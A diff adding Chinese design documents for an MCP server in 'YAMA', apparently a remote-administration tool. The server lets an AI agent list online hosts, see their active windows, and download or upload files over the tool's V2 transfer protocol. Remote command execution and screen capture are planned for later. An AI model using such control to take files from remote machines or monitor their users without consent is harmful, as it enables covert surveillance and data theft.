|
打开时读 `THIS_CFG` 回填;token 为空则当场生成随机值预填(32 hex)。保存时落盘并弹重启提醒:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
BOOL CMcpSettingsDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialogLangEx::OnInitDialog();
|
||||||
|
int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
|
||||||
|
int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
|
||||||
|
std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
|
||||||
|
std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
|
||||||
|
if (tok.empty()) tok = GenerateRandomToken(); // 预填随机,随保存持久化
|
||||||
|
// 回填到控件:m_bEnabled / m_nPort / m_strBind / m_strToken
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMcpSettingsDlg::OnBnClickedBtnSave()
|
||||||
|
{
|
||||||
|
// 从控件收集:enabled / port / bind / token
|
||||||
|
if (enabled && token.empty()) {
|
||||||
|
MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
|
||||||
|
THIS_CFG.SetInt("settings", "McpPort", port);
|
||||||
|
THIS_CFG.SetStr("settings", "McpBind", bind);
|
||||||
|
THIS_CFG.SetStr("settings", "McpToken", token);
|
||||||
|
MessageBoxL(_TR("MCP 设置已保存。\n启用/端口/绑定地址/Token 的改动需重启程序生效。"),
|
||||||
|
_TR("提示"), MB_ICONINFORMATION);
|
||||||
|
CDialogLangEx::OnOK();
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3.8.4 与运行时 token 逻辑的衔接
|
||||||
|
|
||||||
|
对话框的「默认随机 token」是把随机值**写入 `McpToken` 并持久化**,于是下次启动走 `env → McpToken` 的固定 token 分支;运行时「两者皆空则随机」分支仅在用户从未通过对话框设置过(或手动清空 token)时兜底,两者不冲突。`GenerateRandomToken()` 为 MCP 侧新增的小工具函数(32 hex 随机串,可用 `rand_s` / `BCryptGenRandom` 实现;如需可复用 `WebServiceAuth.h` 的 `ComputeSHA256` 派生)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 实施步骤
|
||||||
|
|
||||||
|
| 步骤 | 内容 | 验收 |
|
||||||
|
|---|---|---|
|
||||||
|
| 1 | 新建 `McpProtocol`:JSON-RPC 分发 + `initialize`/`tools/list`/`tools/call`(含 jsoncpp 解析/序列化) | 单元自测:手写请求串,验证响应 |
|
||||||
|
| 2 | 新建 `McpServer`:httplib 起 `127.0.0.1:6544`,`POST /mcp` 路由 + token 校验(含随机生成) | curl 请求返回 401/正常 |
|
||||||
|
| 3 | 抽公共函数 `BuildHostJson`,`CWebService::BuildDeviceListJson` 改调之 | Web 输出不变,零回归 |
|
||||||
|
| 4 | 注册 `list_online_hosts` 工具:handler 持父对话框、`m_cs` 锁内遍历、调 `BuildHostJson` 组装 | `tools/call` 返回主机列表 |
|
||||||
|
| 5 | 新增 `McpSettingsDlg` + 菜单项接线(`ID_MCP_SETTINGS` / `OnMcpSettings` / `HIDE_MENU_MCP_SETTINGS` / `IDD_DIALOG_MCP_SETTINGS` 资源) | 对话框可启用/禁用、配置端口/绑定/token,保存落盘并提示重启 |
|
||||||
|
| 6 | 接入 `2015RemoteDlg` 启动/停止(按 `McpEnabled` 门控)+ 配置 | 服务端启动后端口监听正常 |
|
||||||
|
| 7 | Claude Code 接入验证(见 §5) | 见验收标准 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 验收标准
|
||||||
|
|
||||||
|
1. 在「MCP设置」对话框启用并重启服务端后,`127.0.0.1:6544` 监听正常,外部地址无法访问;未启用时该端口不监听。
|
||||||
|
2. 无 token 的请求返回 HTTP 401;错误 token 返回 401;正确 token 通过。
|
||||||
|
3. `curl` 模拟 `initialize` → `tools/list` → `tools/call` 全流程,返回符合 JSON-RPC 2.0 与 MCP 规范。
|
||||||
|
4. Claude Code 侧:
|
||||||
|
```bash
|
||||||
|
claude mcp add yama --transport http http://127.0.0.1:6544/mcp -H "Authorization: Bearer <token>"
|
||||||
|
```
|
||||||
|
`claude mcp list` 能看到 `yama`,在对话中问「列出在线主机」能正确触发工具并返回列表。
|
||||||
|
5. 现有 Web 控制台、IOCP 主服务功能无回归。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 风险与约束
|
||||||
|
|
||||||
|
| 风险 | 说明 | 应对 |
|
||||||
|
|---|---|---|
|
||||||
|
| 无官方 C++ MCP SDK | 需手写 JSON-RPC 协议层 | 仅实现 3 个方法,量小可控;协议稳定后再考虑抽库 |
|
||||||
|
| MCP 规范版本演进 | protocolVersion 字符串需与客户端匹配 | 实现时对照最新规范;`initialize` 返回可协商版本 |
|
||||||
|
| 并发安全 | 遍历 `m_HostList` 需持 `m_cs` | MCP 与 WebService 采用相同的「`m_cs` 锁内遍历」模式 |
|
||||||
|
| 字符编码 | GBK/UTF-8 分叉 | 复用公共函数 `BuildHostJson` 的编码处理,不自造 |
|
||||||
|
| token 存储 | `THIS_CFG` 的 token 会明文落盘;随机 token 会打印到日志 | 本地回环 + 只读,风险可控;敏感场景建议仅用 env 并妥善保管 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 后续扩展规划(本期不做)
|
||||||
|
|
||||||
|
- 工具:`get_host_processes`(进程列表)、`execute_command`(命令执行)、`capture_screen`(截图)等
|
||||||
|
- 写操作工具的安全边界评审(操作对象、权限、审计)
|
||||||
|
- 认证升级:复用 `WebServiceAuth` 的签名 token / 过期机制
|
||||||
|
- 分组过滤:`list_online_hosts` 加 `group` 参数
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 决策记录
|
||||||
|
|
||||||
|
**决策记录(全部已定):**
|
||||||
|
- ✅ **启用开关**:新增 `McpEnabled`,默认 `0`(禁用)。MCP 默认不启动,须用户在「扩展 → MCP设置」对话框手动开启。
|
||||||
|
- ✅ **端口**:`McpPort` 可配置,未配置默认 `6544`(纯端口语义,不再兼任启用开关)。
|
||||||
|
- ✅ **token**:优先顺序 env `YAMA_MCP_TOKEN` → `THIS_CFG.McpToken` → 皆空则随机生成(仅本次进程有效,打印到日志)。对话框内 token 必填、默认随机值(预填并随保存持久化到 `McpToken`)。
|
||||||
|
- ✅ **绑定地址**:默认 `127.0.0.1`(仅本机);可配置为 `0.0.0.0` 或内网 IP(如 `192.168.0.92`)以支持多人协作跨机调用。
|
||||||
|
- ✅ **配置入口**:主对话框「扩展」菜单,位于「地理信息(&L)」子菜单下方新增「MCP设置」菜单项,打开独立配置对话框。
|
||||||
|
- ✅ **生效方式**:MCP 启用/端口/绑定/token 的改动均需重启服务端生效,对话框保存后弹窗提醒「重启程序生效」。
|
||||||
|
- ✅ **取数方案**:C(抽公共函数 `BuildHostJson`,MCP 与 WebService 平级复用)。
|
||||||
|
- ✅ **返回字段**:全量,含实时信息(`rtt` / `activeWindow`),支持 AI 监督场景。
|
||||||
|
- ✅ **序列化**:`structuredContent` + `outputSchema`,`content` 附带可读摘要。
|
||||||
396
docs/Mcp_FileTransfer_Design.md
Normal file
@@ -0,0 +1,396 @@
|
|||||||
|
# YAMA MCP 文件传输功能设计(download_file / upload_file)
|
||||||
|
|
||||||
|
> **状态**:设计定稿(经专家审查修订,结论见 §13)。`download_file`(P1)已实施并验收;`upload_file`(P2)已实施(详见 §7,评审修订见 §13.1)。`download_file` 采用 **V2 文件传输协议**(`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动)。两者共享同一套「文件会话」注册表。
|
||||||
|
> **读者**:MCP 后续功能研发/评审人员。
|
||||||
|
> **关联文档**:[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)(双模式无头驱动机制)、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议清单)、[Mcp_Design.md](./Mcp_Design.md)(Phase 1 协议/架构/配置)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 背景与目标
|
||||||
|
|
||||||
|
MCP 目前已暴露 `list_files`(只读列目录,`McpServer.cpp:1741`),但**没有文件传输工具**:把远程主机的文件/目录拉回主控本机(下载),或把本机文件推到远程(上传),只能通过 GUI 文件管理器手工操作。
|
||||||
|
|
||||||
|
本技术书解决:
|
||||||
|
|
||||||
|
1. **`download_file`**(本期 P1)——远程文件/目录 → 主控本机指定目录,复用 V2 推送协议,带 SHA-256 完整性校验、支持大文件。
|
||||||
|
2. **`upload_file`**(后续 P2)——主控本机文件/目录 → 远程指定目录,复用服务端 V2 发送器。
|
||||||
|
3. **一套共享的「流式文件会话」基础设施**——一次投入,下载/上传两处受益,镜像现有终端(`TermSession`)与远程控制(`ScreenCtrlSession`)会话模式。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 现状回顾
|
||||||
|
|
||||||
|
| 能力 | 现有协议/命令 | 服务端现有实现 | 是否暴露给 MCP |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 远程列目录 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`;`COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` | `McpServer.cpp:1741`(`list_files`) | ✅ |
|
||||||
|
| 远程→本地下载(V1) | `COMMAND_DOWN_FILES`(`commands.h:166`) + `TOKEN_FILE_SIZE/DATA/FINISH` | `FileManagerDlg.cpp:2164` / `file/CFileManagerDlg.cpp:1136` | ❌ 仅 GUI |
|
||||||
|
| 远程→本地下载(V2) | `CMD_DOWN_FILES_V2`(94, `commands.h:260`) + `COMMAND_SEND_FILE_V2`(85) + `COMMAND_FILE_COMPLETE_V2`(91) | `FileManagerDlg.cpp:3337-3384`(下发)、`2756`(`RecvFileChunkV2` 落盘) | ❌ 仅 GUI |
|
||||||
|
| 本地→远程上传(V2) | `FileBatchTransferWorkerV2`(服务端作 sender) | `2015RemoteDlg.cpp:7572` | ❌ 仅 GUI |
|
||||||
|
|
||||||
|
### 2.1 关键事实
|
||||||
|
|
||||||
|
1. **V2 下载的客户端会另开一条新子连接**:`client/FileManager.cpp:1101-1190` `UploadToRemoteV2()` 解析完文件列表后,`new IOCPClient(...)` → `EnableSubConnAuth()` → `ConnectServer(...)`(`FileManager.cpp:1170-1172`),在**独立鉴权子连接**上推 `COMMAND_SEND_FILE_V2` 分块 + `COMMAND_FILE_COMPLETE_V2` 校验包。即下载 ≠ 复用文件管理器那条子链接,而是一条**持续流子链接**——正属 `Mcp_Phase2_Design.md §4.3` 当初判定「本期不做」的流式能力。
|
||||||
|
|
||||||
|
2. **接收端 `RecvFileChunkV2` 无 UI 可调**:`CDlgFileSend.cpp:128` 已 `RecvFileChunkV2(buf, len, nullptr, nullptr, hash, hmac, 0)` 无头落盘;落盘状态在 `SimplePlugins/file_upload.cpp` 内部按 `transferID` 自维护,天然适合 MCP 无头复用。
|
||||||
|
|
||||||
|
3. **V2 落盘路径由客户端回填**:`CMD_DOWN_FILES_V2` 的 `targetDir` 是**主控本机**保存目录(`FileManagerDlg.cpp:3370` `m_Local_Path`);客户端把它拼进每个 chunk 的 `filename` 发回,服务端 `RecvFileChunkV2` 直接按该完整路径写盘。因此「下载保存到哪」由服务端在命令里指定、客户端原样回填。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 协议选型(已定:V2)
|
||||||
|
|
||||||
|
| 维度 | **V2 推送(选定)** | V1 拉取(回退) |
|
||||||
|
|---|---|---|
|
||||||
|
| 命令 | `CMD_DOWN_FILES_V2` + `COMMAND_SEND_FILE_V2` + `COMMAND_FILE_COMPLETE_V2` | `COMMAND_DOWN_FILES` + `TOKEN_FILE_SIZE/DATA/FINISH` |
|
||||||
|
| 连接 | 客户端新开一条鉴权流式子连接 | 复用文件管理器子链接 |
|
||||||
|
| 完整性 | ✅ SHA-256(`COMMAND_FILE_COMPLETE_V2`) | ❌ 无 |
|
||||||
|
| 大文件 | ✅ 64 位偏移,>4GB | 64 位偏移但无校验 |
|
||||||
|
| 客户端代码 | ✅ 已存在,是当前 GUI 正规路径 | ⚠️ 遗留路径 |
|
||||||
|
| MCP 侧复杂度 | 需路由一条**新流式子连接**(新增会话注册表) | 需在 `MessageHandle` 维护「发 CONTINUE/收 DATA」状态机,逐块 ACK 慢 |
|
||||||
|
|
||||||
|
**结论:采用 V2。** 代价是服务端要新增「流式文件会话」注册与路由;但这是 `upload_file` 同样要复用的基础设施,一次投入两处受益。V1 仅作「不想引入新子连接路由」时的降级备案,不在本期实现。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 设计原则
|
||||||
|
|
||||||
|
1. **复用现有协议,不新造命令**:`CMD_DOWN_FILES_V2`、`COMMAND_SEND_FILE_V2`、`COMMAND_FILE_COMPLETE_V2`、`COMMAND_LIST_DRIVE` 全部为 `common/commands.h` 既有;客户端零改动(upload 方向例外:`COMMAND_SEND_FILE_V2` 需懒初始化文件模块,见 §7.8)。
|
||||||
|
2. **无头接管复用会话模式**:镜像 `McpServer.h` 的 `TermSession` / `ScreenCtrlSession`,新增 `FileTransferSession`;`MessageHandle` 用 `IsFileTransferContext(context*)` 判定是否路由到 MCP 无头落盘,否则回落 GUI 进度框。
|
||||||
|
3. **单设备单传输会话**:与终端/远程控制一致,避免同 host 并发传输的归属歧义;并发返回 `-32003 Device busy`。
|
||||||
|
4. **超时与清理是硬约束**:大文件传输是长任务,超时需独立于 `kMcpToolTimeoutMs`(20s);断线/超时必须清会话 + 关子链接 + 删半成品文件。
|
||||||
|
5. **输出 schema 先行**:两个工具先在 `tools/list` 声明完整 `inputSchema`/`outputSchema`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 核心机制:流式文件会话
|
||||||
|
|
||||||
|
### 5.1 会话注册表(`McpServer.h/.cpp`)
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
struct FileTransferSession {
|
||||||
|
std::string tool; // "download_file" / "upload_file"
|
||||||
|
std::string localDir; // download: 本机落盘目录(规范化后绝对路径,用于穿越校验)
|
||||||
|
std::string remotePath; // 审计用原始远程路径(UTF-8)
|
||||||
|
uint64_t transferID = 0; // 绑定后从首包填充(download);upload 由本端 GenerateTransferID()
|
||||||
|
uint32_t totalFiles = 0; // 完成判定:首个 COMMAND_SEND_FILE_V2 chunk 的 totalFiles(§13 F4)
|
||||||
|
uint32_t filesDone = 0; // 完成判定:累计收到的 COMMAND_FILE_COMPLETE_V2 数
|
||||||
|
bool done = false;
|
||||||
|
int error = 0; // FEV2_* / 自定义
|
||||||
|
std::vector<FileEntry> files; // {path, size} 已落盘/已发送文件
|
||||||
|
std::vector<FileEntry> skipped; // overwrite=false 时跳过的同名文件
|
||||||
|
time_t startAt = 0;
|
||||||
|
};
|
||||||
|
std::mutex m_FileXferMutex;
|
||||||
|
std::map<uint64_t, FileTransferSession> m_FileXferSessions; // device_id → 会话
|
||||||
|
```
|
||||||
|
|
||||||
|
> **取消 `m_FileXferContextToDevice` 映射与 `IsFileTransferContext(context*)`**:流式子连接经 `TOKEN_CONN_AUTH` 已把 `clientID` 钉在 `ContextObject` 上(`2015RemoteDlg.cpp:6411 SetID`),分派时直接用 `ContextObject->GetClientID()` 定位 `device_id`,无需 context 路由表(§13 F1)。
|
||||||
|
|
||||||
|
配套接口(与 `BeginTermPending` / `OnTerminalData` / `WaitTerminalDone` 同构):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
|
||||||
|
const std::string& localDir, const std::string& remotePath);
|
||||||
|
bool IsFileTransferPending(uint64_t device_id); // 分支顶部守卫
|
||||||
|
void OnFileChunkV2(uint64_t device_id, const BYTE* buf, ULONG len); // 路径校验 + 无头 RecvFileChunkV2
|
||||||
|
void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);// SHA-256 + filesDone 计数
|
||||||
|
bool WaitFileTransferDone(uint64_t device_id, int timeoutMs, std::vector<FileEntry>& out);
|
||||||
|
void ClearFileTransfer(uint64_t device_id); // 失败/超时/断线收尾(删半成品)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.2 流式子连接的路由(device_id 键,镜像 `TOKEN_DRIVE_LIST` 守卫)
|
||||||
|
|
||||||
|
V2 下载的数据包 `COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 本就由 `MessageHandle` 按 `ContextObject->GetClientID()` 分派(`2015RemoteDlg.cpp:5842` / `6101`)。MCP 只需在这两个 case 的 **`dstClientID==0`(M2C)分支顶部**加守卫:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
case COMMAND_SEND_FILE_V2: {
|
||||||
|
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
|
||||||
|
if (pkt->dstClientID == 0) {
|
||||||
|
uint64_t devId = ContextObject->GetClientID();
|
||||||
|
if (McpServer().IsFileTransferPending(devId)) { // ← 新增守卫:无头接管
|
||||||
|
McpServer().OnFileChunkV2(devId, szBuffer, len);
|
||||||
|
break; // 不建 CDlgFileSend、不设 hDlg
|
||||||
|
}
|
||||||
|
// ... 原 GUI 逻辑(建 CDlgFileSend + OnReceiveComplete)不变
|
||||||
|
}
|
||||||
|
// ... C2C 分支(dstClientID != 0)完全不动
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- `TOKEN_CONN_AUTH`(`6378`) **完全不动**——它只负责把 `clientID` 钉在 ctx 上,下载复用既有行为。
|
||||||
|
- `TOKEN_DRIVE_LIST`(`6430`) 既有 `IsPending(devId)` 守卫**扩展复用**:`OnDriveList` 识别当前挂起工具为 `download_file` 时,改发 `CMD_DOWN_FILES_V2` 而非 `COMMAND_LIST_FILES`,发完即 `CancelIO` 文件管理器子链接(数据走新流式子连接,§13 F3)。
|
||||||
|
- 守卫为假时全部回落原 GUI/C2C 路径——对既有功能零影响(原则 #1,§13 F7)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. `download_file` 设计(P1)
|
||||||
|
|
||||||
|
### 6.1 工具 Schema
|
||||||
|
|
||||||
|
```
|
||||||
|
input: {
|
||||||
|
id: string (必填, 主机 id)
|
||||||
|
remote_path: string (必填, 远程文件或目录绝对路径, 如 C:\Users\shaun\Pictures)
|
||||||
|
local_dir: string (必填, 主控本机保存目录; 不存在会自动创建)
|
||||||
|
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 则跳过)
|
||||||
|
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
|
||||||
|
}
|
||||||
|
output: {
|
||||||
|
files: [{ path: string, size: integer, sha256: string }] // 实际落盘文件
|
||||||
|
total_bytes: integer
|
||||||
|
skipped: integer
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.2 时序
|
||||||
|
|
||||||
|
```
|
||||||
|
MCP工具线程 服务端 MessageHandle 客户端
|
||||||
|
│ 1. BeginFileTransferPending(id,"download_file",localDir,remotePath) │
|
||||||
|
│ 2. 主连接发 COMMAND_LIST_DRIVE ────────────────────────────────────────► 开文件管理器子链接
|
||||||
|
│ 3. ◄── TOKEN_DRIVE_LIST ─────────────────────┤
|
||||||
|
│ OnDriveList → 锁外下发 CMD_DOWN_FILES_V2[targetDir\0][remote_path\0]\0 │
|
||||||
|
│ 4. ────────────────────────────────────────► UploadToRemoteV2()
|
||||||
|
│ (客户端另开一条鉴权流式子连接 ConnectServer)
|
||||||
|
│ 5. 新子连接 TOKEN_CONN_AUTH 钉 clientID → 后续分块按 device_id 守卫接管 │
|
||||||
|
│ 6. ◄── COMMAND_SEND_FILE_V2 分块流 ──────────┤
|
||||||
|
│ → OnFileChunkV2 → RecvFileChunkV2() 无头落盘
|
||||||
|
│ 7. ◄── COMMAND_FILE_COMPLETE_V2(SHA-256) ────┤
|
||||||
|
│ 8. 校验通过 → done → 唤醒工具线程 → CancelIO 两条子连接 → 返回 │
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.3 服务端改动
|
||||||
|
|
||||||
|
1. **`McpServer.h`**:新增 `FileTransferSession` 结构 + 注册表 + 接口声明(§5.1)。
|
||||||
|
2. **`McpServer.cpp`**:
|
||||||
|
- `BuildDownloadFileInputSchema/OutputSchema` + `BuildDownloadFile(...)`(`tools/call` 分派);
|
||||||
|
- `OnFileChunkV2`:**先路径校验**(chunk `filename` 规范化后仍在 `local_dir` 内,防 `..` 穿越,§13 F5)→ 调 `RecvFileChunkV2(buf,len,nullptr,nullptr,hash,hmac,0)` 无头落盘,记 `totalFiles`/进度;
|
||||||
|
- `OnFileCompleteV2`:`HandleFileCompleteV2` 校验 SHA-256 → `filesDone++`;`filesDone==totalFiles` 时置 `done` + `notify`(§13 F4);
|
||||||
|
- `hash/hmac` 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`,兼容客户端 M2C `hmac` 为空(`client/FileManager.cpp:1167`,§13 F6);
|
||||||
|
- `ClearFileTransfer`(发送失败/超时/断线):`CancelIO` 子链接 + 删除半成品。
|
||||||
|
3. **`2015RemoteDlg.cpp`(`MessageHandle`)**:`COMMAND_SEND_FILE_V2`(85)、`COMMAND_FILE_COMPLETE_V2`(91) 的 `dstClientID==0` 分支顶部加 `IsFileTransferPending(devId)` 守卫;`TOKEN_DRIVE_LIST` 处扩展 `OnDriveList` 识别 `download_file` 改发 `CMD_DOWN_FILES_V2`。`TOKEN_CONN_AUTH` 与 C2C 分支**完全不动**。
|
||||||
|
4. **`McpSettingsDlg.cpp/.h`**:新增 `McpFileTransfer` 配置项(默认 0)。
|
||||||
|
|
||||||
|
### 6.4 落盘与路径安全
|
||||||
|
|
||||||
|
- 发 `CMD_DOWN_FILES_V2` 前把 `local_dir` 规范化为绝对路径并 `CreateDirectory`;`targetDir` 用 ANSI(MBCS 构建本机路径)。
|
||||||
|
- 每收到一个 chunk,校验其 `filename` 规范化后**前缀必须在 `local_dir` 内**(防 `..` 穿越,呼应 `FILE_TRANSFER_V2.md §8.3` 已识别的风险);逃逸则置 `error` 并 `CancelIO`。
|
||||||
|
- 编码:`remote_path` 走 UTF-8→ANSI(936)(Windows 客户端,复用 `McpServer.cpp` 既有 `ToAnsi`,与 `list_files` 一致)。
|
||||||
|
|
||||||
|
### 6.5 超时与并发
|
||||||
|
|
||||||
|
- **P1 范围:同步 + 单文件/已打包目录**。一次 `tools/call` 阻塞到底,不引入 job/task 异步模型(决策见 §12)。核心场景「先 `terminal_exec` 压缩成单 zip,再 `download_file` 拉回」天然是单文件,同步足够。
|
||||||
|
- 默认 `timeout_ms=600000`、上限 3600000,因大文件远超 `kMcpToolTimeoutMs`(20s)。
|
||||||
|
- **单飞互斥(§13 F2)**:`BeginFileTransferPending` 与既有一次性 `m_Pending` **双向互斥**——下载登记时占用 `m_Pending`,反之 `BeginPending` 也检查 `m_FileXferSessions`,保证同 host 任意时刻只一个 MCP 工具在飞;并发返回 `-32003 Device busy`。
|
||||||
|
- 断线(`OfflineProc` 擦会话)+ 超时(删半成品)双收尾。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. `upload_file` 设计(P2)
|
||||||
|
|
||||||
|
### 7.1 工具 Schema
|
||||||
|
|
||||||
|
```
|
||||||
|
input: {
|
||||||
|
id: string (必填, 目标主机 id)
|
||||||
|
local_path: string (必填, 主控本机文件或目录绝对路径; 目录递归上传)
|
||||||
|
remote_dir: string (必填, 远程主机保存目录; 不存在会自动创建)
|
||||||
|
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 跳过)
|
||||||
|
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
|
||||||
|
}
|
||||||
|
output: {
|
||||||
|
files: [{ path: string, size: integer, sha256: string }] // 已发送文件(远程完整路径);P2 sha256 恒为空串(见 §7.5)
|
||||||
|
total_bytes: integer
|
||||||
|
skipped: integer
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.2 方向与连接(与 download 的关键差异)
|
||||||
|
|
||||||
|
| 维度 | download_file(P1) | upload_file(P2) |
|
||||||
|
|---|---|---|
|
||||||
|
| 数据方向 | 远程客户端 → 主控 | 主控 → 远程客户端 |
|
||||||
|
| 发送方 | 客户端(`UploadToRemoteV2` → `FileBatchTransferWorkerV2`) | 主控(`FileBatchTransferWorkerV2`) |
|
||||||
|
| 连接 | 客户端**新开一条鉴权流式子连接** | 复用**主连接**(`ctx->Send2Client`),无子连接 |
|
||||||
|
| 完成信号 | 客户端发 `COMMAND_FILE_COMPLETE_V2`,服务端 `OnFileCompleteV2` 校验计数 | 服务端**作为发送方**自己发 `COMMAND_FILE_COMPLETE_V2`(SHA-256),客户端 `HandleFileCompleteV2` 校验 |
|
||||||
|
| MessageHandle 改动 | 2 处守卫分支 + `OnDriveList` 扩展 | **零改动**(客户端 `KernelManager.cpp:1381` 接收,但需懒初始化文件模块,见 §7.8) |
|
||||||
|
|
||||||
|
> **修正旧稿(§13.1 评审)**:旧稿写「只需等客户端回 `COMMAND_FILE_COMPLETE_V2`」是错的。V2 协议里 COMPLETE 包恒由**发送方**发、接收方校验,**无接收方→发送方 ACK**。upload 的服务端是发送方,故它**发** COMPLETE 而非「等」。这也意味着 upload 比 download 更简单——无需路由外来流式子连接、无需 `OnFileCompleteV2` 计数。
|
||||||
|
|
||||||
|
### 7.3 时序
|
||||||
|
|
||||||
|
```
|
||||||
|
MCP工具线程 主连接 (ctx→Send2Client) 客户端 KernelManager
|
||||||
|
1. 校验 McpFileTransfer=1 && McpReadonly=0(§8)
|
||||||
|
2. CollectLocalFiles({local_path}) 收集本机文件+目录项(目录项在前、子项随后)
|
||||||
|
3. (overwrite=false) list_files 预检 remote_dir 一层 → 得已存在顶层名 → skip 列表
|
||||||
|
4. BeginFileUpload(id) 登记会话(单设备单传输互斥标记,§6.5)
|
||||||
|
5. 同步驱动(工具线程内):FileBatchTransferWorkerV2(files, remote_dir, cb, f, hash, hmac, opts)
|
||||||
|
6. ── COMMAND_SEND_FILE_V2 分块流 ───► RecvFileChunkV2 落盘
|
||||||
|
7. ── COMMAND_FILE_COMPLETE_V2(SHA256)► HandleFileCompleteV2 校验
|
||||||
|
8. worker 同步返回 → ClearFileTransfer → 返回 files/total_bytes/skipped
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.4 服务端改动
|
||||||
|
|
||||||
|
1. **`McpServer.h`**:新增 `BeginFileUpload(id)`,登记 `FileTransferSession{tool="upload_file", startAt}` 作为**单设备单传输互斥标记**(与 `m_Pending`/`m_FileXferSessions` 互斥,见 §6.5)。upload 走主连接、工具线程**同步**驱动 `FileBatchTransferWorkerV2`,会话**无** `fmSubCtx`/`streamSubCtx`/`fileEntries`/`done` 等字段(`ClearFileTransfer` 对空指针安全)。
|
||||||
|
2. **`McpServer.cpp`**:
|
||||||
|
- `BuildUploadFileInputSchema/OutputSchema` + `BuildUploadFile(...)`(`tools/call` 分派);
|
||||||
|
- 无头回调 `UploadSendChunkHeadless(user, chunk, data, size)`:经 `UploadCallbackData{parent,clientID,deadline}` 里 `parent->FindHost(clientID)` 定位 ctx → `ctx->Send2Client(data,size)`;客户端离线或整体超时返回 false 中止(镜像 GUI `SendFileChunkToClientV2`,去掉 `dlg` 进度,见 `2015RemoteDlg.cpp:7424-7459`);
|
||||||
|
- 收集:本地 `CollectLocalFiles` 递归(`common/file_upload.cpp:38` 的 `ExpandDirectories` 未在 `file_upload.h` 导出,故在 McpServer.cpp 本地同构实现,目录项在前、子项随后);
|
||||||
|
- overwrite 预检:复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST→COMMAND_LIST_FILES→TOKEN_FILE_LIST` 机制列 `remote_dir` **一层**(顶层名,不递归),过滤同名 → `skipped`;
|
||||||
|
- 驱动:`FileBatchTransferWorkerV2(files, remote_dir, &cb, headlessCallback, nullptr, GetPwdHash(), GetHMAC(100), opts)`;`opts.transferID=GenerateTransferID()`、`srcClientID=0`、`dstClientID=clientID`、`enableResume=false`;
|
||||||
|
- 完成判定:`result==0 && FindHost(clientID)!=nullptr`(镜像 GUI `SendFilesToClientV2Internal` 末尾)。
|
||||||
|
3. **`2015RemoteDlg.cpp`(MessageHandle)**:**零改动**。
|
||||||
|
4. **`McpSettingsDlg.cpp/.h`**:零改动(`McpFileTransfer` 已存在,§8 复用)。
|
||||||
|
|
||||||
|
### 7.5 完整性边界(诚实声明)
|
||||||
|
|
||||||
|
- V2 无接收方→发送方 ACK:客户端 `HandleFileCompleteV2` 校验失败只打日志(`RecvFileChunkV2` 返回 8,`KernelManager.cpp:1381` 不回传主控)。
|
||||||
|
- **P2 的 `output.files[].sha256` 恒为空串**:`FileBatchTransferWorkerV2` 内部会为每个文件自算 SHA-256 并写入 `COMMAND_FILE_COMPLETE_V2` 包发给客户端,但该值**不回传调用方**;服务端侧又无导出的 SHA-256 工具函数可自行复算。故 P2 输出不填 sha256(延后 P3:worker 回传哈希,或服务端引入 SHA-256 工具)。传输完整性仍依赖客户端本地 `HandleFileCompleteV2` 校验(与 GUI upload / C2C 同权,属 V2 协议既有边界,非 MCP 引入)。
|
||||||
|
- 若未来需要「接收方验真回执」,需新增反向 ACK 包(协议扩展,进 P3)。
|
||||||
|
|
||||||
|
### 7.6 overwrite 语义
|
||||||
|
|
||||||
|
